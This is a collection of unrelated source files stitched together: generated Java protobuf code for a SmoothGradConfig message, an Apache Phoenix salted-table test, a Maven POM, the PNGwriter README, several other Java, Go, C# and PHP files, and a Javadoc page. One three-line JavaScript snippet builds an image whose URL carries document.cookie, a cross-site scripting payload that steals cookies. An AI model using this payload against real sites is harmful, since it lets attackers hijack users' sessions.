     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     */
    public com.google.cloud.aiplatform.v1.FeatureNoiseSigma.Builder getFeatureNoiseSigmaBuilder() {
      return getFeatureNoiseSigmaFieldBuilder().getBuilder();
    }
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     */
    @java.lang.Override
    public com.google.cloud.aiplatform.v1.FeatureNoiseSigmaOrBuilder
        getFeatureNoiseSigmaOrBuilder() {
      if ((gradientNoiseSigmaCase_ == 2) && (featureNoiseSigmaBuilder_ != null)) {
        return featureNoiseSigmaBuilder_.getMessageOrBuilder();
      } else {
        if (gradientNoiseSigmaCase_ == 2) {
          return (com.google.cloud.aiplatform.v1.FeatureNoiseSigma) gradientNoiseSigma_;
        }
        return com.google.cloud.aiplatform.v1.FeatureNoiseSigma.getDefaultInstance();
      }
    }
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     */
    private com.google.protobuf.SingleFieldBuilderV3<
            com.google.cloud.aiplatform.v1.FeatureNoiseSigma,
            com.google.cloud.aiplatform.v1.FeatureNoiseSigma.Builder,
            com.google.cloud.aiplatform.v1.FeatureNoiseSigmaOrBuilder>
        getFeatureNoiseSigmaFieldBuilder() {
      if (featureNoiseSigmaBuilder_ == null) {
        if (!(gradientNoiseSigmaCase_ == 2)) {
          gradientNoiseSigma_ =
              com.google.cloud.aiplatform.v1.FeatureNoiseSigma.getDefaultInstance();
        }
        featureNoiseSigmaBuilder_ =
            new com.google.protobuf.SingleFieldBuilderV3<
                com.google.cloud.aiplatform.v1.FeatureNoiseSigma,
                com.google.cloud.aiplatform.v1.FeatureNoiseSigma.Builder,
                com.google.cloud.aiplatform.v1.FeatureNoiseSigmaOrBuilder>(
                (com.google.cloud.aiplatform.v1.FeatureNoiseSigma) gradientNoiseSigma_,
                getParentForChildren(),
                isClean());
        gradientNoiseSigma_ = null;
      }
      gradientNoiseSigmaCase_ = 2;
      onChanged();
      ;
      return featureNoiseSigmaBuilder_;
    }

    private int noisySampleCount_;
    /**
     *
     *
     *

     * The number of gradient samples to use for
     * approximation. The higher this number, the more accurate the gradient
     * is, but the runtime complexity increases by this factor as well.
     * Valid range of its value is [1, 50]. Defaults to 3.
     *

     *
     * int32 noisy_sample_count = 3;
     *
     * @return The noisySampleCount.
     */
    @java.lang.Override
    public int getNoisySampleCount() {
      return noisySampleCount_;
    }
    /**
     *
     *
     *

     * The number of gradient samples to use for
     * approximation. The higher this number, the more accurate the gradient
     * is, but the runtime complexity increases by this factor as well.
     * Valid range of its value is [1, 50]. Defaults to 3.
     *

     *
     * int32 noisy_sample_count = 3;
     *
     * @param value The noisySampleCount to set.
     * @return This builder for chaining.
     */
    public Builder setNoisySampleCount(int value) {

      noisySampleCount_ = value;
      onChanged();
      return this;
    }
    /**
     *
     *
     *

     * The number of gradient samples to use for
     * approximation. The higher this number, the more accurate the gradient
     * is, but the runtime complexity increases by this factor as well.
     * Valid range of its value is [1, 50]. Defaults to 3.
     *

     *
     * int32 noisy_sample_count = 3;
     *
     * @return This builder for chaining.
     */
    public Builder clearNoisySampleCount() {

      noisySampleCount_ = 0;
      onChanged();
      return this;
    }

    @java.lang.Override
    public final Builder setUnknownFields(final com.google.protobuf.UnknownFieldSet unknownFields) {
      return super.setUnknownFields(unknownFields);
    }

    @java.lang.Override
    public final Builder mergeUnknownFields(
        final com.google.protobuf.UnknownFieldSet unknownFields) {
      return super.mergeUnknownFields(unknownFields);
    }

    // @@protoc_insertion_point(builder_scope:google.cloud.aiplatform.v1.SmoothGradConfig)
  }

  // @@protoc_insertion_point(class_scope:google.cloud.aiplatform.v1.SmoothGradConfig)
  private static final com.google.cloud.aiplatform.v1.SmoothGradConfig DEFAULT_INSTANCE;

  static {
    DEFAULT_INSTANCE = new com.google.cloud.aiplatform.v1.SmoothGradConfig();
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig getDefaultInstance() {
    return DEFAULT_INSTANCE;
  }

  private static final com.google.protobuf.Parser<SmoothGradConfig> PARSER =
      new com.google.protobuf.AbstractParser<SmoothGradConfig>() {
        @java.lang.Override
        public SmoothGradConfig parsePartialFrom(
            com.google.protobuf.CodedInputStream input,
            com.google.protobuf.ExtensionRegistryLite extensionRegistry)
            throws com.google.protobuf.InvalidProtocolBufferException {
          Builder builder = newBuilder();
          try {
            builder.mergeFrom(input, extensionRegistry);
          } catch (com.google.protobuf.InvalidProtocolBufferException e) {
            throw e.setUnfinishedMessage(builder.buildPartial());
          } catch (com.google.protobuf.UninitializedMessageException e) {
            throw e.asInvalidProtocolBufferException().setUnfinishedMessage(builder.buildPartial());
          } catch (java.io.IOException e) {
            throw new com.google.protobuf.InvalidProtocolBufferException(e)
                .setUnfinishedMessage(builder.buildPartial());
          }
          return builder.buildPartial();
        }
      };

  public static com.google.protobuf.Parser<SmoothGradConfig> parser() {
    return PARSER;
  }

  @java.lang.Override
  public com.google.protobuf.Parser<SmoothGradConfig> getParserForType() {
    return PARSER;
  }

  @java.lang.Override
  public com.google.cloud.aiplatform.v1.SmoothGradConfig getDefaultInstanceForType() {
    return DEFAULT_INSTANCE;
  }
}


text:
package org.apache.phoenix.end2end.salted;

import static org.apache.phoenix.util.TestUtil.TABLE_WITH_SALTING;
import static org.apache.phoenix.util.TestUtil.TEST_PROPERTIES;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Properties;

import org.apache.phoenix.end2end.ParallelStatsDisabledIT;
import org.apache.phoenix.util.PropertiesUtil;
import org.apache.phoenix.util.QueryUtil;
import org.apache.phoenix.util.SchemaUtil;
import org.junit.Test;

/**
 * Tests for table with transparent salting.
 */

public class SaltedTableIT extends BaseSaltedTableIT {

    @Test
    public void testTableWithInvalidBucketNumber() throws Exception {
        Properties props = PropertiesUtil.deepCopy(TEST_PROPERTIES);
        Connection conn = DriverManager.getConnection(getUrl(), props);
        try {
            String query = "create table " + generateUniqueName() + " (a_integer integer not null CONSTRAINT pk PRIMARY KEY (a_integer)) SALT_BUCKETS = 257";
            PreparedStatement stmt = conn.prepareStatement(query);
            stmt.execute();
            fail("Should have caught exception");
        } catch (SQLException e) {
            assertTrue(e.getMessage(), e.getMessage().contains("ERROR 1021 (42Y80): Salt bucket numbers should be with 1 and 256."));
        } finally {
            conn.close();
        }
    }

    @Test
    public void testTableWithSplit() throws Exception {
        try {
            createTestTable(getUrl(), "create table " + generateUniqueName() + " (a_integer integer not null primary key) SALT_BUCKETS = 4",
                    new byte[][] {{1}, {2,3}, {2,5}, {3}}, null);
            fail("Should have caught exception");
        } catch (SQLException e) {
            assertTrue(e.getMessage(), e.getMessage().contains("ERROR 1022 (42Y81): Should not specify split points on salted table with default row key order."));
        }
    }

}

redpajama_set_name: RedPajamaGithub


text:
@interface FLTSensorsPlugin : NSObject <FlutterPlugin>
@end

@interface FLTUserAccelStreamHandler : NSObject <FlutterStreamHandler>
@end

@interface FLTAccelerometerStreamHandler : NSObject <FlutterStreamHandler>
@end

@interface FLTGyroscopeStreamHandler : NSObject <FlutterStreamHandler>
@end


text:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>

	<groupId>ch.poinzofnoreturn</groupId>
	<artifactId>ponr-server</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<packaging>jar</packaging>

	<name>ponr-server</name>
	<description>Server für PoinzOfNoReturn.ch</description>
	<url>http://www.PoinzOfNoReturn.ch</url>

	<licenses>
		<license>
			<name>The Apache License, Version 2.0</name>
			<url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>
		</license>
	</licenses>

	<developers>
		<developer>
			<name>Stefan Urech</name>
			<email>stefan@surech.ch</email>
			<organization>surech.ch</organization>
			<url>http://www.surech.ch</url>
		</developer>
	</developers>

	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>1.3.2.RELEASE</version>
	</parent>

	<properties>
		<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
		<java.version>1.8</java.version>
	</properties>

	<scm>
		<connection>scm:git:ssh://github.com:surech/ponr-server.git</connection>
		<developerConnection>scm:git:ssh://github.com:surech/ponr-server.git</developerConnection>
		<url>scm:git:ssh://github.com:surech/ponr-server.git</url>
	</scm>

	<distributionManagement>
		<repository>
			<id>hosted.ponr.releases</id>
			<url>http://repo.surech.ch/content/repositories/hosted.ponr.releases</url>
		</repository>

		<snapshotRepository>
			<id>hosted.ponr.snapshots</id>
			<url>http://repo.surech.ch/content/repositories/hosted.ponr.snapshot</url>
		</snapshotRepository>
	</distributionManagement>

	<dependencies>
		<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <!-- REST-Schnittstelle -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-data-rest</artifactId>
		</dependency>

        <dependency>
            <groupId>org.springframework.data</groupId>
            <artifactId>spring-data-rest-hal-browser</artifactId>
        </dependency>

        <!-- Security, OAuth2 -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-security</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.security.oauth</groupId>
			<artifactId>spring-security-oauth2</artifactId>
		</dependency>

        <!-- Datenbank -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jpa</artifactId>
        </dependency>

        <dependency>
			<groupId>mysql</groupId>
			<artifactId>mysql-connector-java</artifactId>
			<scope>runtime</scope>
		</dependency>

        <dependency>
            <groupId>org.hibernate</groupId>
            <artifactId>hibernate-spatial</artifactId>
            <version>4.3</version>
        </dependency>

		<dependency>
			<groupId>org.liquibase</groupId>
			<artifactId>liquibase-core</artifactId>
		</dependency>

        <!-- Lesen und Erstellen von QR-Codes -->
		<dependency>
			<groupId>com.google.zxing</groupId>
			<artifactId>core</artifactId>
			<version>3.0.0</version>
		</dependency>

		<dependency>
			<groupId>com.google.zxing</groupId>
			<artifactId>javase</artifactId>
			<version>3.0.0</version>
		</dependency>

		<!-- Hilfsklassen -->
		<dependency>
			<groupId>org.apache.commons</groupId>
			<artifactId>commons-lang3</artifactId>
			<version>3.4</version>
		</dependency>

        <!-- Testing -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>

		<dependency>
			<groupId>org.mockito</groupId>
			<artifactId>mockito-core</artifactId>
			<version>1.10.19</version>
			<scope>test</scope>
		</dependency>
	</dependencies>

	<repositories>
		<repository>
			<id>OSGEO GeoTools repo</id>
			<url>http://download.osgeo.org/webdav/geotools</url>
		</repository>
		<repository>
			<id>Hibernate Spatial repo</id>
			<url>http://www.hibernatespatial.org/repository</url>
		</repository>
	</repositories>

	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
				<configuration>
					<executable>true</executable>
				</configuration>
			</plugin>
		</plugins>
	</build>

</project>


text:
var exfil = document.createElement("img");
exfil.src = "newsnippet2?snippet="+document.cookie;
document.appendChild(exfil);


text:
PNGwriter
=========
PNGwriter is a C++ library for creating PNG images.

### Summary

PNGwriter is a very easy to use open source graphics library that uses PNG as
its output format. The interface has been designed to be as simple and
intuitive as possible. It supports plotting and reading pixels in the RGB (red,
green, blue), HSV (hue, saturation, value/brightness) and CMYK (cyan, magenta,
yellow, black) colour spaces, basic shapes, scaling, bilinear interpolation,
full TrueType antialiased and rotated text support, bezier curves, opening
existing PNG images and more. Documentation in English (and Spanish up to
v0.5.4). Runs under Linux, Unix, Mac OS X and Windows. Requires libpng and
optionally FreeType2 for the text support.

### Where to find information about PNGwriter

The PNGwriter project's online presence consists of:

- The [PNGwriter website](http://pngwriter.sourceforge.net), with a
- [FAQ](http://pngwriter.sourceforge.net/),
  [quickstart](http://pngwriter.sourceforge.net/quickstart-en.php),
  [examples](http://pngwriter.sourceforge.net/examples-en.php), and an online
  copy of the [manual](http://pngwriter.sourceforge.net/manual-en.php).
- This [PNGwriter GitHub repo](http://github.com/pngwriter/pngwriter), where
  source code is distributed and collaboration takes place. The distribution
  includes a PDF copy of the manual.

This project was migrated from the PNGwriter repository originally hosted on
SourceForge (and no longer maintained). The last version released on
SourceForge was 0.5.5.

### Build Status

| master branch | development branch |
|:-------------:|:--------------------:|
| [![Build Status Master](https://travis-ci.org/pngwriter/pngwriter.png?branch=master)](https://travis-ci.org/pngwriter/pngwriter "master") | [![Build Status Development Branch](https://travis-ci.org/pngwriter/pngwriter.png?branch=dev)](https://travis-ci.org/pngwriter/pngwriter "development branch") |

### Latest News

**New version and a new team member — August 2015 Update**

A long time has passed since PNGwriter's last release. Thanks to the skilled
and generous help of Axel Huebl ([@ax3l](http://github.com/ax3l)) many bugs
have been fixed, a new compilation procedure is in place, and PNGwriter is now
on [GitHub](https://github.com/pngwriter/pngwriter). Axel is now an active and
invaluable member of the PNGwriter Team, joining Paul Blackburn
([@individual61](https://github.com/individual61)), who created PNGwriter in
2002. Welcome aboard, Axel!

This nudge to action could not have come at a better time, since the
once-respectable host to the PNGwriter project, SourceForge.net, is no longer
what we consider a positive contribution to the Open Source community.
The PNGwriter website and files currently hosted on SourceForge.net will remain
on SourceForge.net, but the current and all future releases will be via
PNGwriter's GitHub repository.
 **Don't forget**!

Thank you, PNGwriter users, for your patience, bug fixes, and suggestions. I
hope you are as excited as we are to see where the next thirteen years take
PNGwriter!

Paul Blackburn
San Jose, California
August, 2015

### Feedback

We'd love to hear how you've used PNGwriter in your project. Are you doing
interesting things? Are you running it on interesting hardware? Tell us how you
use PNGwriter. [Open an issue](https://github.com/pngwriter/pngwriter/issues/new)
and let us know. Don't forget to include the following information:
- Project Title
- Link
- Cool image
- Authors list
- Single-sentence, one-line description of the project.

### Installation

The preferred way to install PNGwriter is using `CMake`:

- `git clone https://github.com/pngwriter/pngwriter.git`
- `mkdir -p build && cd build`
- `cmake ../pngwriter`
- `make install` (creates the libs in `lib/` and a `pngwriter.h` in `include/`)

*Optional*, set a path where to install the libraries to:
- `cmake -DCMAKE_INSTALL_PREFIX=~/myPath/`
- `make install`
  (installs `libpngwriter.a` and `libpngwriter.so` to `~/myPath/lib/`)

(There is also a pre-created `Makefile` shipped with the source files, but
since it is not directly portable we deprecated that install method and
will not support it any longer.)

### Linking to your project

You can either link manually to the `libpngwriter.a`/`libpngwriter.so` (which
can have dependencies to `libpng`, `libz`, `libm`, `libc` and `libfreetype`) or
use our CMake module:

```bash
wget https://raw.githubusercontent.com/ComputationalRadiationPhysics/cmake-modules/dev/FindPNGwriter.cmake
# read its documentation
cmake -DCMAKE_MODULE_PATH=. --help-module FindPNGwriter | less
```

Use the following lines in your projects `CMakeLists.txt`:
```cmake
# this example requires at least CMake 2.8.5
cmake_minimum_required(VERSION 2.8.5)

# add path to FindPNGwriter.cmake, e.g. in the directory in cmake/
set(CMAKE_MODULE_PATH ${CMAKE_MODULE_PATH} ${CMAKE_CURRENT_SOURCE_DIR}/cmake/)

# find PNGwriter installation
#   optional: prefer static libraries over shared ones (but do not force them)
#set(PNGwriter_USE_STATIC_LIBS ON)

#   optional: specifiy (minimal) version / require to find it
#           (PNGwriter 0.5.6 REQUIRED)
find_package(PNGwriter)

if(PNGwriter_FOUND)
  # where to find the pngwriter.h header file (-I include for your compiler)
  include_directories(SYSTEM ${PNGwriter_INCLUDE_DIRS})
  # additional compiler flags (e.g. -DNO_FREETYPE)
  add_definitions(${PNGwriter_DEFINITIONS})
  # libraries to link against (including dependencies)
  set(LIBS ${LIBS} ${PNGwriter_LIBRARIES})
endif(PNGwriter_FOUND)

# add_executable(yourBinary ${SOURCES})
# ...
# target_link_libraries(yourBinary ${LIBS})
```

### License

This software is released under **GPLv2+**.

### Changes

See the [CHANGELOG.md](CHANGELOG.md).
Please note that changes to PNGwriter prior to version 0.5.5 can be found in
the doc/CHANGES file.


text:
package io.twasyl.jstackfx.search;

import io.twasyl.jstackfx.beans.ThreadElement;
import io.twasyl.jstackfx.search.exceptions.EvaluateException;
import org.junit.Test;

import static org.junit.Assert.*;

/**
 * Testing class {@link FieldExpressionQueue}.
 *
 * @author Thierry Wasylczenko
 * @since JStack 1.1
 */
public class FieldExpressionQueueTest {

    @Test
    public void addAndOnEmptyQueue() {
        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.and();

        assertTrue(queue.expressions.isEmpty());
    }

    @Test
    public void addOrOnEmptyQueue() {
        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.or();

        assertTrue(queue.expressions.isEmpty());
    }

    @Test
    public void addExpressionWithoutOperand() {
        final FieldExpression expression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(null)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(expression);

        assertEquals(1, queue.expressions.size());
        assertNotNull(queue.expressions.get(0));
        assertNotNull(queue.expressions.get(0).getValue1());
        assertNull(queue.expressions.get(0).getValue2());
    }

    @Test
    public void addExpressionWithAndOperand() {
        final FieldExpression expression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(null)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(expression).and();

        assertEquals(1, queue.expressions.size());
        assertNotNull(queue.expressions.get(0));
        assertNotNull(queue.expressions.get(0).getValue1());
        assertNotNull(queue.expressions.get(0).getValue2());
        assertEquals(expression, queue.expressions.get(0).getValue1());
        assertEquals(Operand.AND, queue.expressions.get(0).getValue2());
    }

    @Test
    public void addExpressionWithOrOperand() {
        final FieldExpression expression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(null)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(expression).or();

        assertEquals(1, queue.expressions.size());
        assertNotNull(queue.expressions.get(0));
        assertNotNull(queue.expressions.get(0).getValue1());
        assertNotNull(queue.expressions.get(0).getValue2());
        assertEquals(expression, queue.expressions.get(0).getValue1());
        assertEquals(Operand.OR, queue.expressions.get(0).getValue2());
    }

    @Test
    public void addExpressionWithOrPlusAndOperand() {
        final FieldExpression expression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(null)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(expression).or().and();

        assertEquals(1, queue.expressions.size());
        assertNotNull(queue.expressions.get(0));
        assertNotNull(queue.expressions.get(0).getValue1());
        assertNotNull(queue.expressions.get(0).getValue2());
        assertEquals(expression, queue.expressions.get(0).getValue1());
        assertEquals(Operand.AND, queue.expressions.get(0).getValue2());
    }

    @Test
    public void buildScriptExpressionWithoutOperand() throws EvaluateException {
        final ThreadElement element = new ThreadElement();
        element.setState(Thread.State.RUNNABLE);

        final FieldExpression expression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(Thread.State.RUNNABLE)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(expression);

        assertEquals("true", queue.buildScriptExpression(element));
    }

    @Test
    public void buildScriptExpressionWithOperandAndNoOtherExpression() throws EvaluateException {
        final ThreadElement element = new ThreadElement();
        element.setState(Thread.State.RUNNABLE);

        final FieldExpression expression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(Thread.State.RUNNABLE)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(expression).or();

        assertEquals("true", queue.buildScriptExpression(element));
    }

    @Test
    public void buildScriptExpressionWithOperandAndOtherExpression() throws EvaluateException {
        final ThreadElement element = new ThreadElement();
        element.setState(Thread.State.RUNNABLE);
        element.setNumber(10);

        final FieldExpression stateExpression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(Thread.State.RUNNABLE)
                .build();

        final FieldExpression numberExpression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("number")
                .using(Comparator.EQUAL)
                .withWalue(20l)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(stateExpression).and().put(numberExpression);

        assertEquals("true && false", queue.buildScriptExpression(element));
    }

    @Test
    public void match() {
        final ThreadElement element = new ThreadElement();
        element.setState(Thread.State.RUNNABLE);

        final FieldExpression expression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(Thread.State.RUNNABLE)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(expression);

        assertTrue(queue.match(element));
    }

    @Test
    public void matchMultipleExpression() {
        final ThreadElement element = new ThreadElement();
        element.setState(Thread.State.RUNNABLE);
        element.setNumber(10);

        final FieldExpression stateExpression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(Thread.State.RUNNABLE)
                .build();

        final FieldExpression numberExpression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("number")
                .using(Comparator.EQUAL)
                .withWalue(10l)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(stateExpression).and().put(numberExpression);

        assertTrue(queue.match(element));
    }

    @Test
    public void doesntMatch() {
        final ThreadElement element = new ThreadElement();
        element.setState(Thread.State.NEW);

        final FieldExpression expression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(Thread.State.RUNNABLE)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(expression);

        assertFalse(queue.match(element));
    }

    @Test
    public void doesntMatchMultipleExpression() {
        final ThreadElement element = new ThreadElement();
        element.setState(Thread.State.RUNNABLE);
        element.setNumber(20);

        final FieldExpression stateExpression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("state")
                .using(Comparator.EQUAL)
                .withWalue(Thread.State.RUNNABLE)
                .build();

        final FieldExpression numberExpression = FieldExpression.Builder.create(ThreadElement.class)
                .onField("number")
                .using(Comparator.EQUAL)
                .withWalue(10l)
                .build();

        final FieldExpressionQueue<ThreadElement> queue = new FieldExpressionQueue<>();
        queue.put(stateExpression).and().put(numberExpression);

        assertFalse(queue.match(element));
    }
}


text:
package fileutil

import (
	"bufio"
	"io"
	"io/fs"
	"os"
)

// FileReader is a wrapper of io.Reader. It also provides file info.
type FileReader interface {
	io.Reader
	FileInfo() (fs.FileInfo, error)
}

type fileReader struct {
	*os.File
}

func NewFileReader(f *os.File) FileReader {
	return &fileReader{f}
}

func (fr *fileReader) FileInfo() (fs.FileInfo, error) {
	return fr.Stat()
}

// FileBufReader is a wrapper of bufio.Reader. It also provides file info.
type FileBufReader struct {
	*bufio.Reader
	fi fs.FileInfo
}

func NewFileBufReader(fr FileReader) *FileBufReader {
	bufReader := bufio.NewReader(fr)
	fi, err := fr.FileInfo()
	if err != nil {
		// This should never happen.
		panic(err)
	}
	return &FileBufReader{bufReader, fi}
}

func (fbr *FileBufReader) FileInfo() fs.FileInfo {
	return fbr.fi
}


text:
using System.Collections.Immutable;

namespace NQuery.Binding
{
    internal sealed class BoundGroupByAndAggregationRelation : BoundRelation
    {
        public BoundGroupByAndAggregationRelation(BoundRelation input, IEnumerable<BoundComparedValue> groups, IEnumerable<BoundAggregatedValue> aggregates)
        {
            Input = input;
            Groups = groups.ToImmutableArray();
            Aggregates = aggregates.ToImmutableArray();
        }

        public override BoundNodeKind Kind
        {
            get { return BoundNodeKind.GroupByAndAggregationRelation; }
        }

        public BoundRelation Input { get; }

        public ImmutableArray<BoundComparedValue> Groups { get; }

        public ImmutableArray<BoundAggregatedValue> Aggregates { get; }

        public BoundGroupByAndAggregationRelation Update(BoundRelation input, IEnumerable<BoundComparedValue> groups, IEnumerable<BoundAggregatedValue> aggregates)
        {
            var newGroups = groups.ToImmutableArray();
            var newAggregates = aggregates.ToImmutableArray();

            if (input == Input && newGroups == Groups && newAggregates == Aggregates)
                return this;

            return new BoundGroupByAndAggregationRelation(input, newGroups, newAggregates);
        }

        public override IEnumerable<ValueSlot> GetDefinedValues()
        {
            return GetOutputValues();
        }

        public override IEnumerable<ValueSlot> GetOutputValues()
        {
            return Groups.Select(g => g.ValueSlot).Concat(Aggregates.Select(v => v.Output));
        }
    }
}


text:
<!DOCTYPE HTML>

<title>Uses of Class com.wrapper.spotify.model_objects.specification.Track (Spotify Web API Java Client 6.5.3 API)</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="dc.created" content="2021-04-15">
<link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style">
<link rel="stylesheet" type="text/css" href="../../../../../../jquery/jquery-ui.css" title="Style">

JavaScript is disabled on your browser.

Skip navigation links

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

All Classes

SEARCH:
<input type="text" id="search" value="search" disabled="disabled">
<input type="reset" id="reset" value="reset" disabled="disabled">

JavaScript is disabled on your browser.

Uses of Class
com.wrapper.spotify.model_objects.specification.Track

Packages that use Track

Package
Description

com.wrapper.spotify.model_objects.special

com.wrapper.spotify.model_objects.specification

com.wrapper.spotify.requests.data.artists

com.wrapper.spotify.requests.data.personalization.simplified

com.wrapper.spotify.requests.data.search.simplified

com.wrapper.spotify.requests.data.tracks

Uses of Track in com.wrapper.spotify.model_objects.special

Methods in com.wrapper.spotify.model_objects.special that return types with arguments of type Track

Modifier and Type
Method
Description

Paging<Track>
SearchResult.getTracks()

Get the track objects contained in the search result object.

Method parameters in com.wrapper.spotify.model_objects.special with type arguments of type Track

Modifier and Type
Method
Description

SearchResult.Builder
SearchResult.Builder.setTracks(Paging<Track> tracks)

The tracks setter.

Uses of Track in com.wrapper.spotify.model_objects.specification

Methods in com.wrapper.spotify.model_objects.specification that return Track

Modifier and Type
Method
Description

Track
Track.Builder.build()

Track
Track.JsonUtil.createModelObject(com.google.gson.JsonObject jsonObject)

Track
SavedTrack.getTrack()

Get information about the track from a saved track object.

Methods in com.wrapper.spotify.model_objects.specification with parameters of type Track

Modifier and Type
Method
Description

SavedTrack.Builder
SavedTrack.Builder.setTrack(Track track)

Set the full track object of the saved track to be built.

Uses of Track in com.wrapper.spotify.requests.data.artists

Methods in com.wrapper.spotify.requests.data.artists that return Track

Modifier and Type
Method
Description

Track[]
GetArtistsTopTracksRequest.execute()

Get the top Track objects.

Uses of Track in com.wrapper.spotify.requests.data.personalization.simplified

Methods in com.wrapper.spotify.requests.data.personalization.simplified that return types with arguments of type Track

Modifier and Type
Method
Description

Paging<Track>
GetUsersTopTracksRequest.execute()

Get an user's top tracks.

Uses of Track in com.wrapper.spotify.requests.data.search.simplified

Methods in com.wrapper.spotify.requests.data.search.simplified that return types with arguments of type Track

Modifier and Type
Method
Description

Paging<Track>
SearchTracksRequest.execute()

Search for tracks.

Uses of Track in com.wrapper.spotify.requests.data.tracks

Methods in com.wrapper.spotify.requests.data.tracks that return Track

Modifier and Type
Method
Description

Track[]
GetSeveralTracksRequest.execute()

Get several tracks.

Track
GetTrackRequest.execute()

Get a track.

Skip navigation links

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

All Classes

JavaScript is disabled on your browser.

Copyright © 2021. All rights reserved.


text:
[?php slot('body_class') ?]a-admin a-blog-admin [?php echo $sf_params->get('module'); ?] [?php echo $sf_params->get('action');?] [?php end_slot() ?]

  [?php use_stylesheet('/apostrophePlugin/css/a.css', 'first') ?]

  [?php use_javascript('/apostrophePlugin/js/aControls.js') ?]
  [?php use_javascript('/apostrophePlugin/js/aUI.js') ?]

	[?php use_stylesheet('<?php echo sfConfig::get('sf_jquery_web_dir') ?>/css/<?php echo sfConfig::get('sf_jquery_ui_css', 'ui-apostrophe/jquery-ui-1.7.3.custom.css') ?>', 'first') # JQ Date Picker Styles (This is the custome Apostrophe styles for the JQ Date Picker) ?]
